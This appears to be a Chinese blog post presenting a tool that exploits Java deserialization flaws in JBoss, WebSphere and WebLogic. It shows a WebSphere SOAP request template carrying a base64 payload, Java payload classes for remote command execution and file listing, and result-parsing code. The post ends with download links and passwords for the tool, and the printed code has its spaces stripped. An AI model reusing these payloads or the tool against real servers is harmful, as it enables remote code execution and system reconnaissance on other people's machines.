0X00 概述Java反序列化漏洞已经被曝出一段时间了,本人参考了网上大神的放出来的工具,将Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。
其实,WebSphere的利用过程也和JBoss差不多,只不过在发送Payload和解析结果的时候多了个Base64编码(解码)的过程。
本工具暂时支持的功能:1、本地命令执行并回显,无须加载外部jar包,支持纯内网环境检测。
2、支持JBoss、WebSphere和Weblogic的反序列化漏洞检测。
3、支持https数据传输。
4、支持文件目录列表。
0X01 WebSphere的反序列化漏洞利用过程WebSphere的反序列化漏洞发生的位置在SOAP的通信端口8880,使用的通信协议是https,发送的数据是XML格式的数据。
- <?xmlversion='1.0'encoding='UTF-8'?><SOAP-ENV:Envelopexmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema">
- <SOAP-ENV:Headerxmlns:ns0="admin"ns0:WASRemoteRuntimeVersion="8.5.5.1"ns0:JMXMessageVersion="1.2.0"ns0:SecurityEnabled="true"ns0:JMXVersion="1.2.0"><LoginMethod>BasicAuth</LoginMethod>
- </SOAP-ENV:Header><SOAP-ENV:Body>
- <ns1:getAttributexmlns:ns1="urn:AdminService"SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><objectnamexsi:type="ns1:javax.management.ObjectName">Base64(payload)</objectname>
- <attributexsi:type="xsd:string">ringBufferSize</attribute></ns1:getAttribute>
- </SOAP-ENV:Body></SOAP-ENV:Envelope>
将我们构造的执行命令的payload通过base64编码后放在objectname节点中,通过https发送到服务器端,服务器端调用相应的执行函数,将结果发送给客户端,同样的,返回的数据也是经过base64编码的。
WebSphere的Payload和JBoss的基本一致。
如下是执行命令的payload。
- publicRunCommand(Stringcommand)throwsException {
- Processproc=Runtime.getRuntime().exec(command); BufferedReaderbr=newBufferedReader(newInputStreamReader(proc.getInputStream()));
- StringBuffersb=newStringBuffer(); Stringline;
- while((line=br.readLine())!=null) {
- sb.append(line).append("\n"); }
- Stringresult="\r\n\r\n=========="+sb.toString()+"==========\r\n"; br.close();
- Exceptione=newException(result); throwe;
- }
将命令执行结果以字符隔开,这样在客户端获取数据后,可通过split、substring等方法对命令的执行结果进行解析。
解析命令的源码如下:
- publicstaticStringparseResult(Stringresult) {
- Stringtmp=result.split("<faultstring>")[1]; StringreString=tmp.split("</faultstring>")[0];
- StringresultTmp=newString(Base64.getDecoder().decode(reString)); intx1=resultTmp.indexOf("==========")+10;
- intx2=resultTmp.lastIndexOf("==========")-1; StringreturnValue="";
- if(x1>=0&&x2>=0) returnValue=resultTmp.substring(x1,x2).trim();
- else returnValue=resultTmp;
- returnreturnValue; }
0X02 文件列表读取获取文件列表的功能是通过Java的listRoot和listFiles来实现的,获取文件和目录列表的过程和命令执行大概相同。
在这我就简单的描述一下过程:如果传入方法的是一个空值,那么就通过Files.listRoot获取根目录或者驱动器列表,否则,传入的值是路径的话,就通过file.listFiles方法获取目录下的所有文件和目录,将获取到的目录名放到{}中,将文件名放在[]中,这样,就方便我们在程序中对获取到的数据进行解析。
获取目录的payload代码如下:
- publicGetFileList(StringfileName)throwsException {
- StringBuildersb=newStringBuilder(); Stringresult=newString();
- if(fileName.isEmpty()) {
- File[]files=File.listRoots(); for(inti=0;i<files.length;i++)
- { sb.append(files[i].getAbsolutePath()).append(",");
- } result="{"+sb.toString().substring(0,sb.toString().length()-1)+"}";
- } else
- { Filefile=newFile(fileName);
- StringBuilderdirList=newStringBuilder(); StringBuilderfileList=newStringBuilder();
- if(file.isDirectory()) {
- File[]list=file.listFiles(); dirList.append("{");
- fileList.append("["); for(inti=0;i<list.length;i++)
- { if(list[i].isDirectory())
- dirList.append(list[i].getAbsolutePath()).append(","); else
- fileList.append(list[i].getAbsolutePath()).append(","); }
- } if(!dirList.toString().isEmpty())
- sb.append(dirList.toString().substring(0,dirList.toString().length()-1)).append("}"); if(!fileList.toString().isEmpty())
- sb.append(fileList.toString().substring(0,fileList.toString().length()-1)).append("]"); result=sb.toString();
- } result="\r\n\r\n==========\r\n"+result+"\r\n==========\r\n";
- Exceptione=newException(result); throwe;
- }
解析的时候,先将执行结果分离出来,再对结果base64解码,再进一步区分目录和文件,分别添加到界面的目录树中。
注:设计时为了美观,使用了JavaFX来设计界面,运行时需要JDK1.8环境。
程序运行效果如下:工具下载地址:http://pan.baidu.com/s/1sjXjsBz 密码: b4232016.1.5 工具更新内容:地址: http://pan.baidu.com/s/1jGSEFFS 密码: si6t1.多线程处理任务,解决命令执行过程中界面无法响应的问题2.[Bug Fix]weblogic console端口改为80时无法获取数据3.[Bug Fix]weblogic较早次获取信息或执行命令响应时间过长的问题